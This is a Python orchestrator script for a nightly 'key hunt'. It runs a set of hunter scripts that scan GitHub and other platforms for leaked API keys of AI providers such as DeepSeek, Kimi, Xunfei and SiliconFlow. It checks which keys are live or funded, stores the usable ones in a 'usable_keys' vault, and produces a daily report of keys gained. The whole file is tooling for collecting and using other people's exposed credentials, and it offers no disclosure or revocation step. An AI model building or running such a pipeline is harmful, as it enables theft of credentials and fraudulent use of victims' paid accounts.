#!/usr/bin/env python3 """Full key-hunt orchestrator — nightly sweep, vault update, daily report. Pipeline: 1. Run every hunt script as an isolated subprocess (own timeout; a failing step never aborts the run — it lands in the report). 2. Merge all USABLE verdicts into usable_keys/ via vault_import.py. 3. Emit a Telegram-ready daily report on stdout (cron delivers it). The "skip if unchanged" layer is already built into the hunters: - ContentCache: raw files are keyed by immutable git blob SHA, so an unchanged file is never fetched again (zero network). - CachedVerifier: DEAD keys are cached forever; NO_BALANCE/NO_ACCESS for 6h; USABLE for 30m — only fresh/unseen keys hit the APIs. GH_PROXY is disabled by default: the old CN proxy (114.111.19.228:3389) is dead and api.github.com is directly reachable from this host. Exit code: 0 on a completed run (report always printed), 1 on hard failure (cron alerts). """ import argparse import os import re import subprocess import sys import time from datetime import datetime, timedelta, timezone from pathlib import Path HERE = Path(__file__).resolve().parent LOGS = HERE / "results" / "runs" LOGS.mkdir(parents=True, exist_ok=True) CST = timezone(timedelta(hours=8)) # name -> (argv, timeout_sec). Relative argv resolved against HERE. STEPS = [ ("hot_discover", [sys.executable, "hot_platforms.py"], 420), ("ai_tools", [sys.executable, "hunt_ai_tools.py", "--tools", "all", "--workers", "8", "--max-files", "800"], 1800), ("deepseek_v2", [sys.executable, "hunt_deepseek_v2.py", "--resume-search", "--workers", "8", "--commit-workers", "4"], 1800), ("kimi_v2", [sys.executable, "hunt_kimi_v2.py", "--resume", "--workers", "8"], 1800), ("exa", [sys.executable, "hunt_exa.py", "--pages", "2", "--workers", "6"], 1200), ("codingplan", [sys.executable, "hunt_codingplan.py"], 900), ("freemodel", [sys.executable, "hunt_freemodel.py", "--workers", "8"], 1200), ("xunfei", [sys.executable, "hunt_xunfei.py", "--resume", "--workers", "8"], 1500), ("hot", [sys.executable, "hunt_hot.py", "--workers", "6", "--pages", "2"], 1500), ("pivot", [sys.executable, "hunt_pivot.py", "--workers", "8", "--fetch-workers", "6"], 2400), # deep re-verify of every previously-live key (cached: DEAD forever, # NO_BALANCE/NO_ACCESS 6h, USABLE 30m — cheap after the first run) ("deep_verify", [sys.executable, "deep_verify.py", "--workers", "20"], 2400), ("cn_coding", [sys.executable, "hunt_cn_coding.py", "--workers", "12"], 1200), ("medium", [sys.executable, "hunt_medium.py", "--workers", "15"], 1200), ("kiro", [sys.executable, "hunt_kiro.py", "--verify-only", "--workers", "15"], 900), ("siliconflow_deep", [sys.executable, "hunt_siliconflow_deep.py", "--workers", "20"], 600), ("deepseek_deep", [sys.executable, "hunt_deepseek_deep.py", "--verify-only", "--workers", "20"], 900), ] BUCKETS = ("usable", "no_balance", "no_access", "unknown", "dead") def bucket_counts(): """Read per-hunt verdict bucket file line counts.""" out = {} for d in sorted(p for p in (HERE / "results").iterdir() if p.is_dir() and p.name != "_cache" and p.name != "runs"): counts = {} for b in BUCKETS: f = d / f"{b}.txt" if f.exists(): counts[b] = sum(1 for _ in f.open(errors="replace")) if counts: out[d.name] = counts return out def run_step(name, argv, timeout): env = dict(os.environ, GH_PROXY="") t0 = time.time() try: p = subprocess.run(argv, cwd=HERE, env=env, timeout=timeout, capture_output=True, text=True) rc, out = p.returncode, (p.stdout or "") + (p.stderr or "") except subprocess.TimeoutExpired as e: rc, out = 124, f"TIMEOUT after {timeout}s\n" + \ ((e.stdout or b"").decode("utf-8", "replace")[-2000:] if isinstance(e.stdout, bytes) else "") dt = time.time() - t0 return rc, dt, out def summarize_hunt_output(out, name): """Pull the interesting stats lines out of a hunt's stdout.""" hits = [] for pat in (r"(?:usable|USABLE)[=:\s]+(\d+)", r"(?:dead|DEAD)[=:\s]+(\d+)", r"candidate files?: (\d+)", r"extracted candidates?: (\d+)", r"cache: (\d+) hits / (\d+) live", r"Loaded (\d+) unique", r"Total keys?: (\d+)"): m = re.search(pat, out) if m: hits.append(m.group(0).strip()) if len(hits) > 4: hits = hits[:4] return " · ".join(hits) if hits else "" def main(): ap = argparse.ArgumentParser() ap.add_argument("--steps", default=None, help="comma list of step names to run (default: all)") ap.add_argument("--no-import", action="store_true", help="skip vault import") ap.add_argument("--dry-run", action="store_true", help="run ai_tools+exa with minimal settings (test)") args = ap.parse_args() os.environ["GH_PROXY"] = "" # old CN proxy is dead; direct works steps = STEPS if args.dry_run: steps = [("exa", [sys.executable, "hunt_exa.py", "--pages", "1", "--workers", "4"], 600), ("hot_discover", [sys.executable, "hot_platforms.py"], 420)] elif args.steps: want = set(x.strip() for x in args.steps.split(",")) steps = [s for s in STEPS if s[0] in want] now = datetime.now(CST) stamp = now.strftime("%Y-%m-%d %H:%M") report = [f"🔫 Key Hunt Daily — {stamp}", "=" * 34, ""] step_lines, failures = [], [] for name, argv, timeout in steps: t0 = time.time() rc, dt, out = run_step(name, argv, timeout) mins = f"{dt / 60:.1f}m" stats = summarize_hunt_output(out, name) if rc == 0: step_lines.append(f"✅ {name:12s} {mins:6s} {stats}") else: step_lines.append(f"❌ {name:12s} {mins:6s} rc={rc} {stats}") failures.append(name) # keep full log on disk for debugging/optimization (LOGS / f"{now:%Y%m%d}_{name}.log").write_text(out[-8000:]) report += step_lines + [""] # leaks ledger (updated by every run; stats go into the report) led = subprocess.run([sys.executable, "leaks_ledger.py"], cwd=HERE, capture_output=True, text=True, timeout=120) if led.returncode == 0 and led.stdout.strip(): report.append("🗂 Leaks ledger:") for line in led.stdout.strip().splitlines()[:8]: report.append(f" {line}") report.append("") # hot platform registry status (new candidates awaiting enable) hp = subprocess.run([sys.executable, "hot_platforms.py", "--list"], cwd=HERE, capture_output=True, text=True, timeout=60) if hp.returncode == 0 and hp.stdout.strip(): lines = [l for l in hp.stdout.strip().splitlines() if l.strip().startswith("[off]")] if lines: report.append("🆕 Hot platforms awaiting confirmation:") for l in lines[:6]: report.append(f" {l.strip()}") report.append("") # bucket summary (pre-import) report.append("📊 Hunt buckets:") for hunt, counts in bucket_counts().items(): if hunt in ("runs",): continue parts = " ".join(f"{k}={v}" for k, v in counts.items()) report.append(f" {hunt:14s} {parts}") report.append("") # vault import added = 0 if not args.no_import: imp = subprocess.run([sys.executable, "vault_import.py"], cwd=HERE, capture_output=True, text=True, timeout=300) if imp.returncode == 0: report.append("📦 Vault import:") for line in imp.stdout.strip().splitlines(): report.append(f" {line}") m = re.search(r"added (\d+) keys", imp.stdout) added = int(m.group(1)) if m else 0 else: report.append(f"❌ vault_import failed:\n{imp.stderr[:500]}") failures.append("vault_import") report.append("") # vault totals vv = HERE / "usable_keys" provs = [d.name for d in sorted(vv.iterdir()) if d.is_dir()] total = 0 for d in provs: f = vv / d / "keys.json" if f.exists(): try: total += len(__import__("json").loads(f.read_text())) except Exception: pass report.append(f"🏦 Vault: {len(provs)} providers, {total} keys" f" (+{added} today)") report.append("") if failures: report.append(f"⚠️ Failed steps: {', '.join(failures)}") report.append("") report.append("_Next sweep: tomorrow 00:00 CST. " "New/unchanged blobs are skipped via SHA cache._") text = "\n".join(report) (LOGS / f"{now:%Y%m%d}_report.md").write_text(text) print(text) sys.exit(1 if failures else 0) if __name__ == "__main__": main()